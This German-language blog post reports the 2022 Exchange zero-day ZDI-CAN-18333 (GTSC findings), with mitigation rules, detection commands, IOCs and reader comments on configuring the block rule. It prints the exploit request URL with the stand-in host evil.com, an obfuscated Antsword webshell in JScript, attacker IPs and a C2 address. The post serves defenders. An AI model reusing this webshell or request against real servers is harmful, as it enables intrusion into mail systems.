[English]Unschöner Sachverhalt für Administratoren und Betreiber einer On-Premises Microsoft Exchange-Server-Installation. Es gibt Berichte, dass ein neuer Zero-Day in Microsoft Exchange existiert, der aktiv in freier Wildbahn ausgenutzt wird. Sicherheitsforscher bestätigen, dass einige Installationen – einschließlich eines Honeypots – bereits infiziert sind. Details zum Zero-Day liegen noch nicht vor. Hier ein Überblick, was mir bisher bekannt ist und was man ggf. unternehmen kann, um Angriffe zu entdecken. Ergänzung: Microsoft hat einige Informationen veröffentlicht, die ich in einem Folgebeitrag zusammen gefasst habe.
Anzeige
Ich bin vor wenigen Minuten über Twitter auf den Sachverhalt gestoßen. Sicherheitsforscher Kevin Beaumont warnt vor einer potentiellen Gefahr, die Exchange Servern durch einen Zero-Day-Exploit droht. Parallel traf bereits eine Mail von von Blog-Leser Marco D. ein (danke dafür), der mich folgendermaßen über den Sachverhalt informierte:
Das habe ich eben auf Twitter entdeckt, ein Zero Day Exploit für Exchange:
Ich kenne die verlinkte vietnamesische Seite nicht, aber der Inhalt schien mir schlüssig, zumal auch die ZDI-Einträge existieren.
Erste Meldung von GTSC
Der Artikel WARNING: NEW ATTACK CAMPAIGN UTILIZED A NEW 0-DAY RCE VULNERABILITY ON MICROSOFT EXCHANGE SERVER eines Autors aus Vietnam scheint die erste Quelle zu sein, die das Problem beschreibt. Das Sicherheitsteam des vietnamesischen Cybersicherheitsunternehmen GTSC entdeckte Anfang August 2022 im Rahmen von Sicherheitsüberwachungs- und Incident-Response-Tätigkeiten, dass eine kritische Infrastruktur angegriffen wurde. Betroffen waren Microsoft Exchange Server der betreffenden Organisationen.
Während der Untersuchung stellten die Experten des Blue Teams von GTSC fest, dass der Angriff eine unveröffentlichte Exchange-Sicherheitslücke, d.h. eine 0-Day-Schwachstelle, ausnutzte. Das Team erstellte unverzüglich einen Plan für Gegenmaßnahmen, um die Angriffe zu stoppen. Gleichzeitig begann das GTSC Red Teams damit, den dekompilierten Code von Exchange zu untersuchen und zu debuggen, um die Sicherheitslücke und den Exploit-Code zu finden.
Anzeige
Es wurde eine bisher unbekannte Schwachstelle (Zero-Day) gefunden, die sich als so kritisch erwies, dass sie Angreifer eine Remote Code Execution (RCE) auf dem kompromittierten Zielsystem ermöglicht. GTSC meldete die Schwachstelle sofort an die Zero Day Initiative (ZDI), um mit Microsoft zusammenzuarbeiten. Ziel war es, schnellstmöglich einen Patch zu erstellen. Die Zero Day Initiative (ZDI) hat 2 Fehler mit den CVSS-Scores 8.8 und 6.3 in Bezug auf den Exploit verifiziert und bestätigt.
- ZDI-CAN-18333 CVSS 8.8
- ZDI-CAN-18802 CVSS 6.3
Die Sicherheitsforscher von GTSC stellte fest, dass auch andere Kunden von einem ähnlichen Problem betroffen sind. Nach Tests konnten bestätigt werden, dass diese Systeme über diese 0-Day-Schwachstelle angegriffen wurden.
Sicherheitsforscher bestätigen die Angriffe
Mit waren die Tweets von Sicherheitsforscher Kevin Beaumont aufgefallen, der auf Twitter bestätigt, dass einige Installationen – einschließlich eines Honeypots – bereits infiziert sind.
Bisher gibt es keinen Patch zum Schließen der Schwachstelle von Microsoft – und es sieht auch nicht so aus, als ob Microsoft Kunden über das Problem informiert habe.
Details des Angriffs
Im Rahmen der Bereitstellung von Dienstleistungen im Security Operations Center (SOC) für einen Kunden entdeckte das GTSC Blueteam Exploit-Anfragen in IIS-Protokollen mit dem gleichen Format wie die lange bekannte ProxyShell-Schwachstelle. Kevin Beaumont schreibt hier, dass die Angreifer vorgeben, ein Exchange EWS zu sein, um eine Hintertür einzurichten. Der Angriff erfolgt über folgenden Request:
autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.comDer obige Link wird verwendet, um auf eine Komponente im Backend zuzugreifen, in der dann der Remote Code Exploit (RCE) implementiert werden könnte. Die Angreifer bedienen sich, laut GTSC, verschiedener Techniken, um Hintertüren in das betroffene Exchange-System einzubauen und sich dann lateral im Netzwerk zu anderen Servern im System zu bewegen.
Bei den Untersuchungen entdeckten die Sicherheitsforscher Webshells, die meist versteckt auf den infizierten Exchange-Servern angelegt wurden. Anhand des User-Agents konnte das Team von GTSC feststellen, dass der Angreifer Antsword verwendet. Dies ist ein aktives, von Chinas Hackern genutztes, plattformübergreifendes Open-Source-Website-Verwaltungstool, das die Verwaltung von Webshells unterstützt. Hier ein JScript dazu:
<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'
+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+
System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))
+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)
+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg=='))
+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'
+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>
Das Sicherheitsteam vermutet, dass diese Backdoors von einer chinesischen Angriffsgruppe stammen, da die Webshell Codepage 936 verwendet, eine Microsoft-Zeichenkodierung für vereinfachtes Chinesisch. Ein weiteres bemerkenswertes Merkmal sei, so die Sicherheitsforscher, dass der Hacker auch den Inhalt der Datei RedirSuiteServiceProxy.aspx für die Webshell modifizieren. RedirSuiteServiceProxy.aspx ist ein legitimer Dateiname, der auf dem Exchange-Server verfügbar ist.
| FileName | Path |
| RedirSuiteServiceProxy.aspx | C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth |
| Xml.ashx | C:\inetpub\wwwroot\aspnet_client |
| pxh4HG1v.ashx | C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth |
Obwohl im Exploit Angriffstechniken eingesetzt wurden, die auch für die früher bekannte ProxyShell-Schwachstelle verwendet wurden, ergab die Überprüfung der infizierten Exchange-Server, dass dort das letzte Exchange Update bereits installiert war. Eine Ausnutzung der Proxyshell-Schwachstelle war also unmöglich. Die Blueteam-Analysten von GTSC bestätigen, dass es sich um eine neue 0-Day-RCE-Schwachstelle handelt. Details zur Vorgehensweise beim Angriff und weitere Erkenntnisse der Analyse werden hier offen gelegt.
Workarounds zum Abschwächen der Schwachstelle
Die GTSC-Sicherheitsforscher schlagen in ihrem Artikel Maßnahmen vor, um die Ausnutzbarkeit der 0-day-Schwachstelle in vollständig gepatchten Exchange Servern zu verhindern. Zur Blockade von Angriffsversuchen ist eine neue URL Rewrite-Regel im IIS-Server hinzuzufügen:
- Wählen Sie im FrontEnd in Autodiscover die Registerkarte URL Rewrite und dann Request Blocking
- Fügen Sie die Zeichenfolge ".*autodiscover\.json.*\@.*Powershell.*" zum URL-Pfad hinzu
- Als Bedingung ist {REQUEST_URI} zu wählen
Im Artikel finden sich entsprechende Screenshots. Die Sicherheitsforscher empfehlen allen Organisationen/Unternehmen, die Microsoft Exchange Server verwenden, die oben genannten temporären Abhilfemaßnahmen schnellstmöglich anzuwenden, um potenzielle Angriffe zu verhindern.
Prüfung auf Kompromittierung
Um zu überprüfen, ob ein Exchange Server bereits von einem Angriff betroffen ist, hat GTSC einen Leitfaden und ein Tool zum Scannen von IIS-Protokolldateien veröffentlicht (standardmäßig im Ordner %SystemDrive%\inetpub\logs\LogFiles gespeichert):
Methode 1: Verwenden Sie den Powershell-Befehl:
Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200'Ergänzung: Auf Facebook hat mich ein Administrator darauf hingewiesen, dass er einige Anpassungen am PowerShell-Befehl vornehmen musste. Hier seine Kommentare:
Bezüglich des PS-Befehls für die Logfiles zu durchsuchen: Ich hab mir testweise mal ein eigenes Logfile angelegt mit dem entsprechenden Pattern:
'powershell.*autodiscover\.json.*\@.*200'
auf unserem 2016ner (deutsche Sprache) findet er das Pattern nicht und gibt somit auch keine Ergebnisse zurück und es sieht aus als wäre alles in Ordnung.
Wenn man das Pattern dann kürzt auf nur 'powershell.*autodiscover' findet er auch die Ergebnisse. Getestet mit PS x86 & x64.
und ergänzte dann:
Hab eben noch etwas rumgespielt. Am Ende des PS-Befehls muss noch ein "-SimpleMatch" ansonsten erkennt er den ersten "\" in dem Pattern als Regular Expressions, erkennt somit das Pattern nicht richtig und gibt keine Ergebnisse zurück.
Ansonsten kann man die beiden "\" durch zwei "\\" ersetzen somit wird der Backslash als tatsächlicher Backslash erkannt.
Nachfolgender PowerShell-Befehl verwendet die \\
Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\\.json.*\\@.*200'und funktioniert als Befehl bei dem betreffenden Administrator (siehe auch folgenden Screenshot).
Methode 2: Verwenden Sie das vom GTSC entwickelte Tool.
Auf der Grundlage der Exploit-Signatur haben die GTSC-Leute ein Tool erstellt, das eine viel kürzere Suchzeit als die Powershell benötigt. Das Tool lässt sich auf GitHub herunterladen. Im Im Artikel haben die Sicherheitsforscher von GTSC noch einige Indicators of Compromise (IOCs) angegeben, über die eine Infektion erkennbar ist:
Webshell:
File Name: pxh4HG1v.ashx
Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx
File Name: RedirSuiteServiceProxy.aspx
Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
File Name: RedirSuiteServiceProxy.aspx
Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
File Name: Xml.ashx
Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
Path: Xml.ashx
Filename: errorEE.aspx
SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx
DLL:
File name: Dll.dll
SHA256:
074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3
c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2
File name: 180000000.dll (Dump từ tiến trình Svchost.exe)
SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e
IP:
125[.]212[.]220[.]48
5[.]180[.]61[.]17
47[.]242[.]39[.]92
61[.]244[.]94[.]85
86[.]48[.]6[.]69
86[.]48[.]12[.]64
94[.]140[.]8[.]48
94[.]140[.]8[.]113
103[.]9[.]76[.]208
103[.]9[.]76[.]211
104[.]244[.]79[.]6
112[.]118[.]48[.]186
122[.]155[.]174[.]188
125[.]212[.]241[.]134
185[.]220[.]101[.]182
194[.]150[.]167[.]88
212[.]119[.]34[.]11
URL:
hxxp://206[.]188[.]196[.]77:8080/themes.aspx
C2:
137[.]184[.]67[.]33
Microsoft reagiert
Ergänzung: Microsoft hat inzwischen reagiert und einige Informationen bereitgestellt. Ich habe das Ganze im Blog-Beitrag Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333 zusammen gefasst. Dort geht auch hervor, welche Exchange-Varianten betroffen sind und warum bei Exchange Online eher keine erfolgreichen Angriffe drohen. Danke an die Blog-Leser für die zahlreichen Hinweise und Links auf inzwischen erschienene Artikel.
Artikelreihe:
Exchange Server werden über 0-day Exploit angegriffen (29. Sept. 2022)
Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333
Neues zur Exchange Server 0-day-Schwachstelle ZDI-CAN-18333: Korrekturen, Scripte und EMS-Lösung
Exchange Server: Microsofts 0-day-Schutz aushebelbar, neue Einschätzungen (3. Oktober 2022)
Exchange Server: Microsofts bessert Lösungen für 0-day-Schutz nach (5. Oktober 2022)
Exchange Server: Microsofts bessert Lösungen für 0-day-Schutz nach (8. Oktober 2022)
Ähnliche Artikel:
Exchange Server Sicherheitsupdates (9. August 2022)
Probleme mit Exchange März 2022-Updates
Exchange Update-Fehler und -Infos (13. April 2021)
Exchange-Probleme mit ECP/OWA-Suche nach Sicherheitsupdate (März 2021)
Exchange 2016/2019: Outlook-Probleme durch AMSI-Integration
Exchange Server September 2021 CU kommt zum 28.9.2021 mit Microsoft Exchange Emergency Mitigation Service
Exchange Server 2016-2019: Benutzerdefinierte Attribute in ECP nach CU-Installation (Juli 2021) nicht mehr aktualisierbar
Exchange: Extended Protection, Checkliste und Probleme
Update für Exchange Extended Protection-Script, aber weiterhin Fehler
Exchange Health Checker – Script-Erweiterungen von Frank Zöchling
Anzeige
Wieder die alte Frage: Betrifft das vorallem Exchange direkt am Internet oder auch wenn er nur per VPN zugänglich ist? Mir ist klar, dass 0day gleich 0day ist. Mir geht es hier eher um das Thema Dringlichkeit. Ich werde die Mitigationen trotzdem umsetzen.
Wenn die IIS Ports nicht direkt aus dem Internet erreichbar sind wüsste ich nicht wie ein Angriff erfolgen sollte.
Kleine Anmerkung:
1. Bei dem Script zum durchsuchen der Logs fehlt am Ende ein ' Zeichen. Ansonsten funktioniert es nicht.
2. Es wäre vielleicht noch gut zu erwähnen, dass hier bei "Unter Verwendung von" "Reguläre Ausdrücke" ausgewählt werden muss, weil der Pfad ein REGEX ist.
Gruß
Das fehlende ' ist korrigiert – danke.
Es wird wohl der Autodiscover benutzt. Wenn er im Internet zugänglich ist, dann gibt es wohl diese Lücke.
Wenn die IIS Ports nicht direkt aus dem Internet erreichbar ind wüsste ich nicht wie man den Exploit verwenden könnte
Sollte in Deutsch so aussehen.
Hab das Bild mal eingefügt – danke dafür – für die Zoom-Darstellung einfach anklicken.
Muss IIS neugestartet werden, wenn die Regel hinzugefügt wird oder greift das sofort? Das Modul ist installiert auf den Mailservern
funktioniert ohne neustart oder sonstiges
Vielen Dank Herr Born für die tolle Arbeit die Sie mit ihrem Blog leisten.
CERT-Bund hat leider noch nicht gemeldet.
Ich muss die Leute von CERT-Bund da in Schutz nehmen – als ich den Beitrag kurz nach Mitternacht erstellt habe, waren die Meldungen von Kevin Beaumont gerade einmal ein paar Minuten alt. Irgendwann müssen die Leute von CERT-Bund auch mal schlafen (Blogger schlafen nie ;-) … und lassen im Zweifelsfall eine Katze nachts über die Tastatur rennen). Zudem müssen die Leute die verfügbaren Informationen lesen und durchdringen – ich habe da ca. 1 Stunde gebraucht, um halbwegs den Überblick zu haben, um was es im Artikel ging und was sonst so an Bestätigungen vorlag.
Hallo zusammen,
wir kann das Tool von der GitHub Seite benutzt werden?
Auf der Github-Seite gibt es rechts den Bereich "RELEASES"…
Alternativ hier klicken:
https://github.com/ncsgroupvn/NCSE0Scanner/releases
Anschließend kannst du dir die Version runterladen und auf dem Exchange ausführen.
Das Programm verlangt den Pfad der Logs, eintragen.. und auf Scan klicken… das wars.
Danke!!
Da gab es doch mal was von Microsoft dieses Exchange Emergency Mitigation. Habe gedacht genau bei solchen Fällen sollte das aktiv werden. Aber bisher bei 4 Kunden noch keine automatische Rewriteregel gefunden, obwohl Exchange 2019 und 2016 jeweils auf aktuellem Stand. Also so ganz scheint mir das nicht zu fruchten
So ein Eingreifen passiert nur, wenn es absolut notwendig ist. Das wurde von Microsoft damals auch so kommuniziert. Bislang ist der 0day von denen noch nicht mal offiziell anerkannt, also sehe ich da kein unerwartetes Verhalten mMn.
Kann das IIS Rewrite Modul bedenkenlos auf einen Exchngne Server 2013 im laufenden Betrieb installiert werden?
Ja, der IIS restartet sich während der Installation, also werden die Outlook-Clients für etwa 1 min disconnected. Habe es gerade durchgeführt.
Habe ich heute mehrfach unter Windows Server 2012 R2 erledigt. Bislang gibts keine gemeldeten Probleme, von daher würde ich "ja" sagen.
Ich frag mich ja 2 Dinge
1) Warum kann man nicht endlich jegliche RCE per Design nur von Whitelisted IPs zulassen? Das war mMn noch nie von extern für irgendeine Funktion notwendig.
2) Warum ist OnlineExchange nie von solchen Exploits betroffen?
Bis jetzt alle EX16 und EX19 in den Logs sauber.
Zu 2)
Weil Microsoft selber entscheidet von was Exchange Online betroffen ist und was nicht. Nennt sich auch Geschäftsmodell. Die Cloud Lizenzen müssen doch weiterhin als heiliger Grad verkauft werden ;)
Danke für die freitagmorgendliche Berichterstattung, die mir mal ganz klar das Wochenende rettet.
Ist Exchange 2013 betroffen? Dort finde ich kein Rewrite Modul.
Soweit ich weiß, muss das Modul immer seperat installiert werden. Bei Exchange 2016/2019 ist dies ja für die Exchange Emergency Mitigation ebenfalls erfoderlich, welche unter Exchange 2013 aber nicht vorhanden ist.
https://www.iis.net/downloads/microsoft/url-rewrite
Ich vermute mal, dass auch 2013 betroffen ist.
Kannst das Modul nachinstallieren. IIS wird während der Installation restartet, also verlieren die Outlook-Clients für etwa 1 min die Verbindung. Danach kannst du die Regel einstellen.
Bisher leider nicht viele Informationen – ich gehe aber mal von Ja aus – du kannst das IIS Rewrite Modul nachinstallieren (Install extension URL Rewrite) und dann den Workaround anwenden. Hat bei uns bei 3 EX2013 geklappt.
Hallo Leute,
Wenn bei Methode 1 kein Ergebnis rauskommt. Dann bin ich safe. Richtig?
Wenn bei Methode 1 kein Ergebnis rauskommt, dann wurde in den Logfiles kein Aufruf gefunden, der dem Angriffsmuster entspricht, das bei der Mitigation geblockt werden soll.
Die Mitigation selbst muss schon noch durchgeführt werden. (zuerst die, dann die Log-Suche)
Und letztlich ist das alles Stand heute. Ich würds dann noch im Auge behalten.
Ich denke mal, dass sich auch Kevin noch nicht im Klaren ist, ob es sich wirklich um einen "neuen" 0-Day handelt.
ZDI-CAN-18333 aka ProxyNotShell— the story of the claimed zero day in Microsoft Exchange
"….I can't say for sure it's a zero day, with the information provided — it looks more ProxyShell to me…."
Zwar sind offenbar die gefundenen Backdoors auf den Server neu, allerdings dürfte der Weg dort hin vielleicht über eine nicht gepatchte ProxyShell-Lücke geführt haben. Die empfohlenen Mitigations von GTSC gleichen denen aus dem Jahr 2021, welche via ProxyShell Patch behoben sein sollten. Wird nichts anderes übrigbleiben, als auf Kommentare von MS zu warten…
…und da ist dieser auch schon: Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server
Danke für die Links, beachtet den Nachtrag am Artikelende mit der Verlinkung auf den Folgebeitrag.
Inzwischen hat Microsoft auch einen Artikel dazu veröffentlicht:
Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server
Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server
wer es selber nachvollziehen und das Rewrite auf Funktion testen will:
https://host.domain.tld/autodiscover/autodiscover.json?@evil.com/powershell&Email=autodiscover/autodiscover.json%3f@evil.com
Hat dies mal einer getestet?
Wenn ich die IIS Rule eintrage und den Test ausführe, kommt bei mir und allen Exchange ein 404 und kein 403, wie in der Regel definiert..
Ich bekomme richtigerweise 403.
Hast du vorne host.domain.tld korrekt ersetzt?
Kommst du denn ansonsten überhaupt an OWA per Browser?
bei mir kommt auch 404 statt 403. Jemand eine Idee?
Ich habe eben festgestellt, dass nach der Anleitung von MS Fehler 404 und nach der Anleitung von GTSC der Fehler 403 gemeldet wird.
Unterschied ist bei den Anleitungen: "Microsoft fügt die Regel mit Platzhalter (engl. Wildcard) hinzu und die Vietnamesen mit Reg. Expression…" siehe Beitrag von Robert etwas weiter unten.
Danke für die Ergänzung.
Wenn du 404 bekommst, aber 403 in der Regel konfiguriert hast, funktioniert die MS-Regel demnach auch nicht richtig (kann sie auch mit dem angegeben RegEx-Muster nicht). Sofern die Regel mit 403 konfiguriert ist muss auch 403 zurückkommen, ansonsten war der Workaround nachweislich für die Katz…
Das wäre jetzt doch genau das Szenario wofür Exchange Emergency Mitigation entwickelt und eingeführt wurde.
Und jetzt doch wieder manueller Eingriff nötig.
Bzw. erstmal müssen es die Admins überhaupt mitbekommen. Folgt bestimmt nicht jeder Kevin auf Twitter oder verbringt täglich eine gewisse Zeit mit einschlägigen News.
Verstehe ich nicht warum MS da jetzt nicht endlich Mal richtig reagiert….
Deshalb habe ich Günters Blog auf meiner täglichen Liste ;) Danke Günter Born und alles gute zum 29. Jubiläum!
Schaut Euch mal bitte den Bericht von MS an: https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/
Es gibt da EINEN UNTERSCHIED zu dem Artikel aus Vietnam:
Microsoft fügt die Regel mit Platzhalter (engl. Wildcard) hinzu und die Vietnamesen mit Reg. Expression (ich rede nicht von der 2. Zeile, die dann editiert werden muss), da steht reg. Expr. drinnen!
Bei MS ist dann in der ERSTEN ZEILE der Blocking Rule UNTER PATTERN ein * und bei den Vitnamesen ist da ein .*
WAS ist denn nun richtig?? Hat MS mehr Ahnung von den Blocking Rules oder die Vietnamesen??
Gute Frage, das ist mir auch schon aufgefallen. Ich habe beide Regeln hinzugefügt.
Genau das fragen wir uns auch, schade, dass MS weder in der Community, noch im Blogpost bisher auf diese Fragen reagiert hat, ich habe nun mal beide Varianten eingepflegt und hoffe, dass das nicht zu unerwarteten Problemen führt.
Soweit ich das überschauen kann, ist die Regel mit regulären Ausdrücken richtig und greift mit Wildcards nicht.
Ich bin kein Crack in regulären Ausdrücken – habe selten damit gearbeitet. Aber ich habe in meinem Folgebeitrag Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333 was dazu geschrieben. Meiner Ansicht nach hat man bei Microsoft den Punkt schlicht vergessen – um X-beliebige Zeichen zu finden, müsste das Pattern .* lauten.
Wenn man die Regel mit dem Assistenten anlegt, ist das erste .* automatisch drin wenn man Regulärer Ausdruck auswählt. Wählt man Platzhalter aus ist * drin und auch korrekt. Im ersten Teil wird auf alles gematched was auf /Autodiscover/ geht. Erst der zweite Teil sucht nochmal genauer nach dem kompletten Muster.
Also laut kurzer Online-Recherche ist bei Platzhalterregeln nur der Platzhalter * ein reserviertes Zeichen (https://blogs.iis.net/danielvl/url-rewrite-for-iis-7-0-regular-expressions-and-wildcards). D. h. die Punkte in der Regel würden einfach nur als Punkte interpretiert, was so von den Verfassern des Patterns nicht vorgesehen sein kann (sonst wäre der Punkt vor "json", der auch wirklich ein Punkt sein soll, wohl kaum escaped).
Meiner Meinung nach hat MS bei den Screenshots geschlampt und den Default ("Platzhalter") versehentlich belassen.
Bist Du dir wirklich sicher? Frag für einen Freund ;-). Daniel schreibt:
In diesem Artikel ist das .* eigentlich dediziert erklärt – oder habe ich was falsch interpretiert?
Ja, mit "Platzhalterregeln" meine ich halt auch nur die Regeln mit Platzhalter/Wildcard (d. h. nicht RegEx) und dort ist offenbar "." nicht reserviert, weshalb die MS-Variante eine komplett andere Bedeutung hat. Ich schließe nur aus, dass die MS-Variante korrekt ist. Als RegEx wird es meiner Meinung nach einwandfrei funktionieren.
Oder schreiben wir grade komplett aneinander vorbei?^^
Ok, habe ich jetzt verstanden – d.h. es muss vom Admin in Exchange ausprobiert werden, ob der * als Wildcard oder der .* als RegEx-Ausdruck definiert wird.
Jein, ich würde einfach den RegEx-Ausdruck, der sowohl bei MS als auch bei den Entdeckern steht als RegEx-Regel verwenden. Ich bin mir mittlerweile (habe in der Mittagspause mal nebenher in Ruhe drüber nachgedacht) zu 99% sicher, dass MS einen Fehler gemacht hat, weil das RegEx-Muster ".*autodiscover.json.*@.*Powershell.*" mit Wildcard doch nur matchen würde, wenn die REQUEST_URI z. B. mit einem Punkt beginnen würde (oder auch hinter "autodiscover" ein Backslash vorkommen würde, weil diese Zeichen ja im Wildcard-Modus offenbar keine besondere Bedeutung haben), was so nie der Fall sein wird.
Ich habe bei mir die Regel auch mit der von Martin geposteten URL ) erfolgreich testen können, bekomme also den Code 403, der so auch in der Regel definiert ist.
Nachtrag:
Also als RegEx sollte das Pattern funktionieren und als Platzhalter wohl höchstens zufällig.
Oh, grade noch gesehen, dass es noch um die erste Zeile geht.
Die sollte ja standardmäßig korrekt sein, da hierzu von beiden Seiten keine Anmerkungen gemacht wurden.
Laut dem MS-Artikel ist für die Ausführung beider Schwachstellen (zum Glück) authentifizierter Zugriff erforderlich ist. Sprich, gültige Zugangsdaten eines Benutzers müssen dem Angreifer bekannt sein:
"Es sollte beachtet werden, dass authentifizierter Zugriff auf den anfälligen Exchange Server erforderlich ist, um eine der beiden Sicherheitsanfälligkeiten erfolgreich auszunutzen."
Dies senkt geringfügig den Puls.
Trotzdem ist die von MS/hier gezeigte Rule gesetzt im IIS.
Als Pulssenker ok – aber wie viele Credentials wurden in den letzten Monaten wohl erbeutet? Ist der eigene Exchange dabei? Fragen über Fragen.
Bzgl. der MS-Rule – beachte die obige Diskussion zum korrekten Pattern.
Hm, wenn ich die URL Rewrite-Regel im IIS-Server setze, bekommen ich in Outlook ein O365 Anmeldefenster. Server + Client wurden auch schon neu gestartet. Ich verwende Exchange 2016 und Outlook 2016/2019. Wenn ich die Regel entferne, funktioniert alles wieder.
Lies mal meinen Folgebeitrag und den Hinweis zu .* im Pattern – vielleicht liegt es daran.
Danke für den Hinweis. Ich hatte das so wie in dem Screenshot von Michael hier im Kommentarbereich mit .* und reg.Ex. Ich teste das heute Abend nochmals, wenn keine User mehr online sind. Bis dahin habe ich auf der WAF (Sophos) den Pfad zum Autodiscover deaktiviert.
So, die Regel einfach noch mal neu gesetzt, jetzt funktioniert es.
Dasselbe passiert bei mir…
Moin,
ich habe gerade alle Kunden Exchange Server geprüft, soweit alles sauber. Von aussen werden die Server per Reverse Proxy abgesichert (pound bzw Sophos UTM), dort habe ich die Autodiscover Pfade entfernt, intern per ReWrite Rule die IIS angepasst.
Nun heißt es mal wieder warten, hoffen und eventuell beten.
Mr. Bit
Moin, wie schaut es eigentlich aus wenn das URL Rewrite Modul gar nicht erst installiert ist?
Nachinstallieren und passende Regel erstellen.
Mir ist dabei gerade aufgefallen: Es gibt eine Import Funktion für Regeln, aber keine Exportfunktion, typisch WinzigWeich *facepalm*
Das Skript EOMTv2 von MS installiert das URL-ReWrite Modul selbständig nach.
setzt eine Regel automatisch (löscht die vorher falls vorhanden)
$site = "iis:\sites\Default Web Site\Autodiscover"
$filterRoot1 = "system.webServer/rewrite/rules/rule[@name='BlockBadAutodiscoverJSON1$_']"
Clear-WebConfiguration -pspath $site -filter $filterRoot1
Add-WebConfigurationProperty -pspath $site -filter "system.webServer/rewrite/rules" -name "." -value @{name='BlockBadAutodiscoverJSON1'+ $_ ;patternSyntax='Regular Expressions'; stopProcessing='True' ; enabled='True'; httpResponseStatus="Permanent"}
Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot1/match" -name 'url' -value ".*"
Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot1/conditions" -name '.' -value @{input='{REQUEST_URI}'; matchType='0'; pattern='.*autodiscover\.json.*\@.*Powershell.*'; ignoreCase='True'; negate='False'}
Set-WebConfigurationProperty -pspath $site -filter "$filterRoot1/action" -name "type" -value 'CustomResponse'
Set-WebConfigurationProperty -pspath $site -filter "$filterRoot1/action" -name "statuscode" -value 403
setzt die zweite Regel (bei Bedarf, löscht die vorher wenn vorhanden)
$site = "iis:\sites\Default Web Site\Autodiscover"
$filterRoot2 = "system.webServer/rewrite/rules/rule[@name='BlockBadAutodiscoverJSON2$_']"
Clear-WebConfiguration -pspath $site -filter $filterRoot2
Add-WebConfigurationProperty -pspath $site -filter "system.webServer/rewrite/rules" -name "." -value @{name='BlockBadAutodiscoverJSON2'+ $_ ;patternSyntax='Wildcard'; stopProcessing='True' ; enabled='True'; httpResponseStatus="Permanent"}
Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot2/match" -name 'url' -value "*"
Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot2/conditions" -name '.' -value @{input='{REQUEST_URI}'; matchType='0'; pattern='.*autodiscover\.json.*\@.*Powershell.*'; ignoreCase='True'; negate='False'}
Set-WebConfigurationProperty -pspath $site -filter "$filterRoot2/action" -name "type" -value 'CustomResponse'
Set-WebConfigurationProperty -pspath $site -filter "$filterRoot2/action" -name "statuscode" -value 403
Kann zufällig jemand erklären wie man das von GTSC entwickelte Tool startet? :-)
Nach dem du den Link geöffnet hast, rechts im Feld auf "Releases" gehen und dort die "NCSE0Scanner.exe" runterladen runterladen und starten.
Dabei den Pfad beachten, gegebenenfalls anpassen und scannen.
Was passiert denn, wenn du die bereits fertig gebaute exe (zu finden hier: runterlädst und ausführst?
Will es bei mir grade nicht testen, da ich es nicht brauche.
Auf der Github-Seite gibt es rechts den Bereich "RELEASES"…
Alternativ hier klicken:
https://github.com/ncsgroupvn/NCSE0Scanner/releases
Anschließend kannst du dir die Version runterladen und auf dem Exchange ausführen.
Das Programm verlangt den Pfad der Logs, eintragen.. und auf Scan klicken… das wars.
siehe@SneedAlWoods
Weiß jemand wie das aussieht, wenn was gefunden wurde?
Tolle AFD und Hetze Werbung hier. Ohne Cookies besuche ich diese Seite lieber nicht mehr.
Die Infos sind top, aber das Werbenetzwerk sollte mal gewechselt werden…
